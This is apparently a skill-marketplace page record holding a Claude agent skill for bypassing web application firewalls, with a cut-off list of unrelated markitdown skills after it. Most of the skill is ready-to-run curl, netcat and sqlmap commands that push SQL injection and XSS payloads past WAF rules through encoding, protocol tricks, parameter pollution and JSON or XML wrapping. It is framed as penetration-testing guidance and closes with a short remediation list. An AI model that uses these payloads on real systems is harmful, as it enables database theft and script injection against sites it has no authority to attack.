[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6EW6QMJWBCYGKHTR6HD1XAX":3,"skill-same:01M6EW6QMJWBCYGKHTR6HD1XAX":116},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":31,"publishedAt":52,"linkOnly":53,"markdownContent":54,"markdownBody":55,"frontMatter":56,"refName":77,"commitSha":78,"skillDirectory":79,"forksCount":14,"repositoryHtmlUrl":80,"repositoryHomepageUrl":81,"ownerHtmlUrl":82,"ownerBlogUrl":6,"ownerDescription":83,"updatedAt":84,"install":85,"resources":98},"01M6EW6QMJWBCYGKHTR6HD1XAX","performing-web-application-firewall-bypass",null,"Bypass Web Application Firewall protections using encoding techniques, HTTP method manipulation, parameter pollution, and payload obfuscation to deliver SQL injection, XSS, and other attack payloads past WAF detection rules.","henriquescastilho\u002Fmy-claude","henriquescastilho","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F153296945?v=4","01M6ESH7EXPXTH9CVQ4K16SRG8","Henrique Scheer","01M6ESH7JHEK2PTNNH4HEH787Z",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fperforming-web-application-firewall-bypass\u002FSKILL.md",[18,23,26],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000010","后端与接口","SCENARIO","使用场景",{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发",{"categoryNo":27,"categoryName":28,"taxonomyType":29,"taxonomyTypeDesc":30},"01JBSEEDCAT000000000000033","数据分析师","PROFESSION","适用职业",[32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51],"web","application","firewall","performing web application firewall bypass","t1505","de","pollution","007","cm","payload","evasion","application-security","security","SQL-injection","xss","injection","web-application-security","pr","sql","cybersecurity","2026-11-10 10:12:30",false,"---\nname: performing-web-application-firewall-bypass\ndescription: Bypass Web Application Firewall protections using encoding techniques,\n  HTTP method manipulation, parameter pollution, and payload obfuscation to deliver\n  SQL injection, XSS, and other attack payloads past WAF detection rules.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags:\n- waf-bypass\n- waf-evasion\n- sql-injection\n- xss\n- payload-obfuscation\n- encoding-bypass\n- web-security\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1505.003\n- T1083\n- T1027\n---\n\n# Performing Web Application Firewall Bypass\n\n## When to Use\n- When confirmed vulnerabilities are blocked by WAF signature-based detection\n- During penetration testing where WAF prevents exploitation of known issues\n- When evaluating WAF rule effectiveness against evasion techniques\n- During red team engagements requiring bypass of perimeter security controls\n- When testing custom WAF rules for completeness and bypass resistance\n\n## Prerequisites\n- Burp Suite Professional with SQLMap integration\n- wafw00f for WAF fingerprinting and identification\n- SQLMap with tamper scripts for automated WAF bypass\n- Understanding of WAF detection mechanisms (signature, regex, behavioral)\n- Collection of encoding and obfuscation techniques per attack type\n- Knowledge of HTTP protocol nuances exploitable for evasion\n\n## Workflow\n\n### Step 1 — Identify and Fingerprint the WAF\n```bash\n# Detect WAF using wafw00f\nwafw00f http:\u002F\u002Ftarget.com\n\n# Manual WAF detection via response headers\ncurl -sI http:\u002F\u002Ftarget.com | grep -iE \"x-cdn|server|x-powered-by|x-sucuri|cf-ray|x-akamai\"\n\n# Trigger WAF with known bad payload and analyze response\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1' OR 1=1--\" -v\n# Look for: 403 Forbidden, custom block page, CAPTCHA challenge\n\n# Common WAF indicators:\n# Cloudflare: cf-ray header, __cfduid cookie\n# AWS WAF: x-amzn-requestid\n# ModSecurity: Mod_Security or OWASP CRS error messages\n# Akamai: AkamaiGHost header\n# Imperva: incap_ses cookie, visid_incap cookie\n```\n\n### Step 2 — Bypass with Encoding and Obfuscation\n```bash\n# URL encoding bypass\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1%27%20OR%201%3D1--\"\n\n# Double URL encoding\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1%2527%2520OR%25201%253D1--\"\n\n# Unicode encoding\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1%u0027%u0020OR%u00201%u003D1--\"\n\n# HTML entity encoding in body\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fsearch \\\n  -d \"q=\u003Cscript>alert&#40;1&#41;\u003C\u002Fscript>\"\n\n# Mixed case SQL keywords\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1' UnIoN SeLeCt password FrOm users--\"\n\n# Inline comments between SQL keywords\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1'\u002F*!UNION*\u002F\u002F*!SELECT*\u002Fpassword\u002F*!FROM*\u002Fusers--\"\n\n# MySQL version-specific comments\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1' \u002F*!50000UNION*\u002F \u002F*!50000SELECT*\u002F 1,2,3--\"\n\n# Null bytes\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1'%00 OR 1=1--\"\n\n# Tab and newline substitution for spaces\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1'%09UNION%0ASELECT%0D1,2,3--\"\n```\n\n### Step 3 — Bypass with HTTP Method and Protocol Tricks\n```bash\n# Change HTTP method (WAFs may only inspect GET\u002FPOST)\ncurl -X PUT \"http:\u002F\u002Ftarget.com\u002Fpage?id=1' OR 1=1--\"\ncurl -X PATCH \"http:\u002F\u002Ftarget.com\u002Fpage\" -d \"id=1' OR 1=1--\"\n\n# Use HTTP\u002F0.9 (no headers)\nprintf \"GET \u002Fpage?id=1' OR 1=1-- \\r\\n\" | nc target.com 80\n\n# Content-Type manipulation\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fpage \\\n  -H \"Content-Type: application\u002Fx-www-form-urlencoded; charset=ibm037\" \\\n  -d \"id=1' OR 1=1--\"\n\n# Multipart form data (may bypass body inspection)\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fpage \\\n  -F \"id=1' OR 1=1--\"\n\n# Chunked Transfer-Encoding\nprintf \"POST \u002Fpage HTTP\u002F1.1\\r\\nHost: target.com\\r\\nTransfer-Encoding: chunked\\r\\n\\r\\n4\\r\\nid=1\\r\\n11\\r\\n' OR 1=1--\\r\\n0\\r\\n\\r\\n\" | nc target.com 80\n\n# Parameter in unusual locations\ncurl http:\u002F\u002Ftarget.com\u002Fpage -H \"X-Forwarded-For: 1' OR 1=1--\"\ncurl http:\u002F\u002Ftarget.com\u002Fpage -H \"Referer: http:\u002F\u002Ftarget.com\u002Fpage?id=1' OR 1=1--\"\n```\n\n### Step 4 — Bypass with Payload Splitting and HPP\n```bash\n# HTTP Parameter Pollution\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1' UNION&id=SELECT password FROM users--\"\n\n# Split payload across parameters\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1'\u002F*&q=*\u002FUNION SELECT 1,2,3--\"\n\n# JSON-based SQLi (many WAFs miss JSON payloads)\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fquery \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"id\": \"1 AND 1=1 UNION SELECT password FROM users\"}'\n\n# JSON SQL injection with operators\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fsearch \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"query\": {\"$gt\":\"\", \"$where\":\"1==1\"}}'\n\n# XML-wrapped payloads\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fdata \\\n  -H \"Content-Type: application\u002Fxml\" \\\n  -d \"\u003Cdata>\u003Cid>1' UNION SELECT password FROM users--\u003C\u002Fid>\u003C\u002Fdata>\"\n```\n\n### Step 5 — Use SQLMap Tamper Scripts\n```bash\n# SQLMap with built-in tamper scripts\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage?id=1\" --tamper=between,randomcase,space2comment\n\n# Common tamper scripts for WAF bypass:\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage?id=1\" --tamper=charunicodeencode\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage?id=1\" --tamper=space2mssqlhash\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage?id=1\" --tamper=percentage\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage?id=1\" --tamper=chardoubleencode,between\n\n# Multiple tamper scripts combined\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage?id=1\" \\\n  --tamper=randomcase,space2comment,between,charunicodeencode \\\n  --random-agent --level 5 --risk 3\n\n# Custom WAF bypass profile\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage?id=1\" \\\n  --tamper=space2comment,randomcase \\\n  --delay=2 --random-agent \\\n  --technique=B --batch\n```\n\n### Step 6 — XSS WAF Bypass Techniques\n```bash\n# Case variation\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=\u003CScRiPt>alert(1)\u003C\u002FScRiPt>\"\n\n# Event handler alternatives\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=\u003Cimg src=x oNerRor=alert(1)>\"\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=\u003Csvg\u002Fonload=alert(1)>\"\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=\u003Cbody onpageshow=alert(1)>\"\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=\u003Cmarquee onstart=alert(1)>\"\n\n# JavaScript URI scheme\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=\u003Ca href=javascript:alert(1)>click\u003C\u002Fa>\"\n\n# Template literal syntax\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=\u003Cscript>alert\\x601\\x60\u003C\u002Fscript>\"\n\n# Concatenation-based bypass\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=\u003Cscript>al\\u0065rt(1)\u003C\u002Fscript>\"\n\n# HTML encoding within attributes\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=\u003Cimg src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)>\"\n\n# Double encoding\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=%253Cscript%253Ealert(1)%253C%252Fscript%253E\"\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| Signature Evasion | Obfuscating payloads to avoid matching WAF regex patterns |\n| Encoding Bypass | Using URL, Unicode, or HTML encoding to disguise malicious characters |\n| Protocol-Level Bypass | Exploiting HTTP protocol features (chunked encoding, method override) |\n| Tamper Scripts | SQLMap modules that transform payloads to evade specific WAF rules |\n| Content-Type Confusion | Sending payloads in unexpected content types the WAF does not inspect |\n| Parameter Pollution | Splitting payloads across duplicate parameters to evade per-parameter inspection |\n| Behavioral vs Signature | WAF detection modes: pattern matching (bypassable) vs. anomaly detection (harder) |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| wafw00f | WAF fingerprinting and identification |\n| SQLMap | Automated SQL injection with WAF bypass tamper scripts |\n| waf-bypass.com | Community-maintained WAF bypass payload database |\n| Awesome-WAF | Curated GitHub repository of WAF bypass techniques |\n| Burp Suite | HTTP proxy for manual payload crafting and WAF response analysis |\n| XSStrike | XSS scanner with WAF detection and bypass capabilities |\n\n## Common Scenarios\n\n1. **SQLi Through JSON** — Bypass WAF by sending SQL injection payloads inside JSON request bodies that are not inspected by the WAF rules\n2. **XSS via Event Handlers** — Use alternative HTML event handlers (onpageshow, onanimationstart) not covered by WAF signature rules\n3. **Encoding Chain Bypass** — Apply multiple layers of encoding (URL + Unicode + HTML entity) to evade each decoding layer of the WAF\n4. **Chunked Transfer Bypass** — Split malicious payload across HTTP chunked transfer encoding segments to avoid pattern matching\n5. **Method Override** — Send attack payloads via PUT\u002FPATCH methods or custom headers that WAF does not inspect\n\n## Output Format\n\n```\n## WAF Bypass Assessment Report\n- **Target**: http:\u002F\u002Ftarget.com\n- **WAF Identified**: Cloudflare (via cf-ray header)\n- **Bypass Achieved**: Yes\n\n### WAF Detection Results\n| Payload Type | Blocked | Bypass Found |\n|-------------|---------|-------------|\n| Basic SQLi | Yes | Yes (JSON encoding) |\n| UNION SELECT | Yes | Yes (inline comments) |\n| XSS \u003Cscript> | Yes | Yes (SVG onload) |\n| Path Traversal | No | N\u002FA (not blocked) |\n\n### Successful Bypass Payloads\n| # | Original (Blocked) | Bypass Payload | Technique |\n|---|-------------------|---------------|-----------|\n| 1 | 1' OR 1=1-- | {\"id\":\"1' OR 1=1--\"} | JSON content-type |\n| 2 | UNION SELECT | \u002F*!50000UNION*\u002F \u002F*!50000SELECT*\u002F | MySQL version comments |\n| 3 | \u003Cscript>alert(1)\u003C\u002Fscript> | \u003Csvg\u002Fonload=alert(1)> | Alternative tag+event |\n\n### Remediation\n- Enable JSON body inspection in WAF rules\n- Implement behavioral analysis alongside signature detection\n- Add rules for uncommon HTML tags and event handlers\n- Enable deep content inspection for all HTTP methods\n- Implement request normalization before rule evaluation\n```\n","# Performing Web Application Firewall Bypass\n\n## When to Use\n- When confirmed vulnerabilities are blocked by WAF signature-based detection\n- During penetration testing where WAF prevents exploitation of known issues\n- When evaluating WAF rule effectiveness against evasion techniques\n- During red team engagements requiring bypass of perimeter security controls\n- When testing custom WAF rules for completeness and bypass resistance\n\n## Prerequisites\n- Burp Suite Professional with SQLMap integration\n- wafw00f for WAF fingerprinting and identification\n- SQLMap with tamper scripts for automated WAF bypass\n- Understanding of WAF detection mechanisms (signature, regex, behavioral)\n- Collection of encoding and obfuscation techniques per attack type\n- Knowledge of HTTP protocol nuances exploitable for evasion\n\n## Workflow\n\n### Step 1 — Identify and Fingerprint the WAF\n```bash\n# Detect WAF using wafw00f\nwafw00f http:\u002F\u002Ftarget.com\n\n# Manual WAF detection via response headers\ncurl -sI http:\u002F\u002Ftarget.com | grep -iE \"x-cdn|server|x-powered-by|x-sucuri|cf-ray|x-akamai\"\n\n# Trigger WAF with known bad payload and analyze response\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1' OR 1=1--\" -v\n# Look for: 403 Forbidden, custom block page, CAPTCHA challenge\n\n# Common WAF indicators:\n# Cloudflare: cf-ray header, __cfduid cookie\n# AWS WAF: x-amzn-requestid\n# ModSecurity: Mod_Security or OWASP CRS error messages\n# Akamai: AkamaiGHost header\n# Imperva: incap_ses cookie, visid_incap cookie\n```\n\n### Step 2 — Bypass with Encoding and Obfuscation\n```bash\n# URL encoding bypass\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1%27%20OR%201%3D1--\"\n\n# Double URL encoding\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1%2527%2520OR%25201%253D1--\"\n\n# Unicode encoding\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1%u0027%u0020OR%u00201%u003D1--\"\n\n# HTML entity encoding in body\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fsearch \\\n  -d \"q=\u003Cscript>alert&#40;1&#41;\u003C\u002Fscript>\"\n\n# Mixed case SQL keywords\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1' UnIoN SeLeCt password FrOm users--\"\n\n# Inline comments between SQL keywords\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1'\u002F*!UNION*\u002F\u002F*!SELECT*\u002Fpassword\u002F*!FROM*\u002Fusers--\"\n\n# MySQL version-specific comments\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1' \u002F*!50000UNION*\u002F \u002F*!50000SELECT*\u002F 1,2,3--\"\n\n# Null bytes\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1'%00 OR 1=1--\"\n\n# Tab and newline substitution for spaces\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1'%09UNION%0ASELECT%0D1,2,3--\"\n```\n\n### Step 3 — Bypass with HTTP Method and Protocol Tricks\n```bash\n# Change HTTP method (WAFs may only inspect GET\u002FPOST)\ncurl -X PUT \"http:\u002F\u002Ftarget.com\u002Fpage?id=1' OR 1=1--\"\ncurl -X PATCH \"http:\u002F\u002Ftarget.com\u002Fpage\" -d \"id=1' OR 1=1--\"\n\n# Use HTTP\u002F0.9 (no headers)\nprintf \"GET \u002Fpage?id=1' OR 1=1-- \\r\\n\" | nc target.com 80\n\n# Content-Type manipulation\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fpage \\\n  -H \"Content-Type: application\u002Fx-www-form-urlencoded; charset=ibm037\" \\\n  -d \"id=1' OR 1=1--\"\n\n# Multipart form data (may bypass body inspection)\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fpage \\\n  -F \"id=1' OR 1=1--\"\n\n# Chunked Transfer-Encoding\nprintf \"POST \u002Fpage HTTP\u002F1.1\\r\\nHost: target.com\\r\\nTransfer-Encoding: chunked\\r\\n\\r\\n4\\r\\nid=1\\r\\n11\\r\\n' OR 1=1--\\r\\n0\\r\\n\\r\\n\" | nc target.com 80\n\n# Parameter in unusual locations\ncurl http:\u002F\u002Ftarget.com\u002Fpage -H \"X-Forwarded-For: 1' OR 1=1--\"\ncurl http:\u002F\u002Ftarget.com\u002Fpage -H \"Referer: http:\u002F\u002Ftarget.com\u002Fpage?id=1' OR 1=1--\"\n```\n\n### Step 4 — Bypass with Payload Splitting and HPP\n```bash\n# HTTP Parameter Pollution\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1' UNION&id=SELECT password FROM users--\"\n\n# Split payload across parameters\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1'\u002F*&q=*\u002FUNION SELECT 1,2,3--\"\n\n# JSON-based SQLi (many WAFs miss JSON payloads)\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fquery \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"id\": \"1 AND 1=1 UNION SELECT password FROM users\"}'\n\n# JSON SQL injection with operators\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fsearch \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"query\": {\"$gt\":\"\", \"$where\":\"1==1\"}}'\n\n# XML-wrapped payloads\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fdata \\\n  -H \"Content-Type: application\u002Fxml\" \\\n  -d \"\u003Cdata>\u003Cid>1' UNION SELECT password FROM users--\u003C\u002Fid>\u003C\u002Fdata>\"\n```\n\n### Step 5 — Use SQLMap Tamper Scripts\n```bash\n# SQLMap with built-in tamper scripts\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage?id=1\" --tamper=between,randomcase,space2comment\n\n# Common tamper scripts for WAF bypass:\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage?id=1\" --tamper=charunicodeencode\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage?id=1\" --tamper=space2mssqlhash\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage?id=1\" --tamper=percentage\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage?id=1\" --tamper=chardoubleencode,between\n\n# Multiple tamper scripts combined\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage?id=1\" \\\n  --tamper=randomcase,space2comment,between,charunicodeencode \\\n  --random-agent --level 5 --risk 3\n\n# Custom WAF bypass profile\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage?id=1\" \\\n  --tamper=space2comment,randomcase \\\n  --delay=2 --random-agent \\\n  --technique=B --batch\n```\n\n### Step 6 — XSS WAF Bypass Techniques\n```bash\n# Case variation\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=\u003CScRiPt>alert(1)\u003C\u002FScRiPt>\"\n\n# Event handler alternatives\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=\u003Cimg src=x oNerRor=alert(1)>\"\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=\u003Csvg\u002Fonload=alert(1)>\"\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=\u003Cbody onpageshow=alert(1)>\"\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=\u003Cmarquee onstart=alert(1)>\"\n\n# JavaScript URI scheme\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=\u003Ca href=javascript:alert(1)>click\u003C\u002Fa>\"\n\n# Template literal syntax\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=\u003Cscript>alert\\x601\\x60\u003C\u002Fscript>\"\n\n# Concatenation-based bypass\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=\u003Cscript>al\\u0065rt(1)\u003C\u002Fscript>\"\n\n# HTML encoding within attributes\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=\u003Cimg src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)>\"\n\n# Double encoding\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=%253Cscript%253Ealert(1)%253C%252Fscript%253E\"\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| Signature Evasion | Obfuscating payloads to avoid matching WAF regex patterns |\n| Encoding Bypass | Using URL, Unicode, or HTML encoding to disguise malicious characters |\n| Protocol-Level Bypass | Exploiting HTTP protocol features (chunked encoding, method override) |\n| Tamper Scripts | SQLMap modules that transform payloads to evade specific WAF rules |\n| Content-Type Confusion | Sending payloads in unexpected content types the WAF does not inspect |\n| Parameter Pollution | Splitting payloads across duplicate parameters to evade per-parameter inspection |\n| Behavioral vs Signature | WAF detection modes: pattern matching (bypassable) vs. anomaly detection (harder) |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| wafw00f | WAF fingerprinting and identification |\n| SQLMap | Automated SQL injection with WAF bypass tamper scripts |\n| waf-bypass.com | Community-maintained WAF bypass payload database |\n| Awesome-WAF | Curated GitHub repository of WAF bypass techniques |\n| Burp Suite | HTTP proxy for manual payload crafting and WAF response analysis |\n| XSStrike | XSS scanner with WAF detection and bypass capabilities |\n\n## Common Scenarios\n\n1. **SQLi Through JSON** — Bypass WAF by sending SQL injection payloads inside JSON request bodies that are not inspected by the WAF rules\n2. **XSS via Event Handlers** — Use alternative HTML event handlers (onpageshow, onanimationstart) not covered by WAF signature rules\n3. **Encoding Chain Bypass** — Apply multiple layers of encoding (URL + Unicode + HTML entity) to evade each decoding layer of the WAF\n4. **Chunked Transfer Bypass** — Split malicious payload across HTTP chunked transfer encoding segments to avoid pattern matching\n5. **Method Override** — Send attack payloads via PUT\u002FPATCH methods or custom headers that WAF does not inspect\n\n## Output Format\n\n```\n## WAF Bypass Assessment Report\n- **Target**: http:\u002F\u002Ftarget.com\n- **WAF Identified**: Cloudflare (via cf-ray header)\n- **Bypass Achieved**: Yes\n\n### WAF Detection Results\n| Payload Type | Blocked | Bypass Found |\n|-------------|---------|-------------|\n| Basic SQLi | Yes | Yes (JSON encoding) |\n| UNION SELECT | Yes | Yes (inline comments) |\n| XSS \u003Cscript> | Yes | Yes (SVG onload) |\n| Path Traversal | No | N\u002FA (not blocked) |\n\n### Successful Bypass Payloads\n| # | Original (Blocked) | Bypass Payload | Technique |\n|---|-------------------|---------------|-----------|\n| 1 | 1' OR 1=1-- | {\"id\":\"1' OR 1=1--\"} | JSON content-type |\n| 2 | UNION SELECT | \u002F*!50000UNION*\u002F \u002F*!50000SELECT*\u002F | MySQL version comments |\n| 3 | \u003Cscript>alert(1)\u003C\u002Fscript> | \u003Csvg\u002Fonload=alert(1)> | Alternative tag+event |\n\n### Remediation\n- Enable JSON body inspection in WAF rules\n- Implement behavioral analysis alongside signature detection\n- Add rules for uncommon HTML tags and event handlers\n- Enable deep content inspection for all HTTP methods\n- Implement request normalization before rule evaluation\n```\n",{"name":5,"tags":57,"author":64,"domain":51,"license":15,"version":65,"nist_csf":66,"subdomain":48,"description":7,"mitre_attack":71},[58,59,60,46,61,62,63],"waf-bypass","waf-evasion","sql-injection","payload-obfuscation","encoding-bypass","web-security","mahipal","1.0",[67,68,69,70],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01",[72,73,74,75,76],"T1190","T1059.007","T1505.003","T1083","T1027","main","7925716f065257435fdb12e97f7e52842147d5ad",".claude\u002Fskills\u002Fperforming-web-application-firewall-bypass","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude","https:\u002F\u002Fclaude.com\u002Fclaude-code","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho","Software · Applied AI · Quantitative Modeling · Building with Claude.","2026-06-10 12:24:46",{"source":8,"skillName":5,"commands":86,"prompt":96,"zipAvailable":97},[87,90,93],{"tool":88,"command":89},"npx","npx skills add henriquescastilho\u002Fmy-claude --skill performing-web-application-firewall-bypass",{"tool":91,"command":92},"bunx","bunx skills add henriquescastilho\u002Fmy-claude --skill performing-web-application-firewall-bypass",{"tool":94,"command":95},"pnpm","pnpm dlx skills add henriquescastilho\u002Fmy-claude --skill performing-web-application-firewall-bypass","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fperforming-web-application-firewall-bypass\u002FSKILL.md",true,[99,104,110],{"path":100,"resourceType":100,"resourceTypeDesc":101,"sizeBytes":102,"sourceHtmlUrl":103},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fperforming-web-application-firewall-bypass\u002FLICENSE",{"path":105,"resourceType":106,"resourceTypeDesc":107,"sizeBytes":108,"sourceHtmlUrl":109},"references\u002Fapi-reference.md","REFERENCE","参考文档",1788,"https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fperforming-web-application-firewall-bypass\u002Freferences\u002Fapi-reference.md",{"path":111,"resourceType":112,"resourceTypeDesc":113,"sizeBytes":114,"sourceHtmlUrl":115},"scripts\u002Fagent.py","SCRIPT","脚本",6175,"https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fperforming-web-application-firewall-bypass\u002Fscripts\u002Fagent.py",[117,156,165,174,196,222],{"skillNo":118,"name":119,"nameZh":6,"description":120,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":121,"licenseFileUrl":6,"sourceHtmlUrl":122,"categories":123,"keywords":136,"publishedAt":52},"01M6F0B6XPQ65AX2X0DWK8KT3E","markitdown","Convert files and office documents to Markdown. Supports PDF, DOCX, PPTX, XLSX, images (with OCR), audio (with transcription), HTML, CSV, JSON, XML, ZIP, YouTube URLs, EPubs and more.","MIT","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.codex\u002Fvendor_imports\u002Fclaude\u002Fmarketplaces\u002Fclaude-scientific-writer\u002Fskills\u002Fmarkitdown\u002FSKILL.md",[124,127,130,133],{"categoryNo":125,"categoryName":126,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000002","文档处理",{"categoryNo":128,"categoryName":129,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000003","演示文稿",{"categoryNo":131,"categoryName":132,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000004","电子表格",{"categoryNo":134,"categoryName":135,"taxonomyType":29,"taxonomyTypeDesc":30},"01JBSEEDCAT000000000000034","行政与办公人员",[119,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155],"docx","PDF","pptx","xlsx","documents","csv","ocr","Audio","Bash","markdown","convert","read","write","edit","html","images","files","youtube","with",{"skillNo":157,"name":119,"nameZh":6,"description":120,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":121,"licenseFileUrl":6,"sourceHtmlUrl":158,"categories":159,"keywords":164,"publishedAt":52},"01M6F06SBHR9F0SDWE282Y8075","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.codex\u002Fvendor_imports\u002Fclaude\u002Fmarketplaces\u002Fclaude-scientific-writer\u002Fscientific_writer\u002F.claude\u002Fskills\u002Fmarkitdown\u002FSKILL.md",[160,161,162,163],{"categoryNo":125,"categoryName":126,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":128,"categoryName":129,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":131,"categoryName":132,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":134,"categoryName":135,"taxonomyType":29,"taxonomyTypeDesc":30},[119,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155],{"skillNo":166,"name":119,"nameZh":6,"description":120,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountN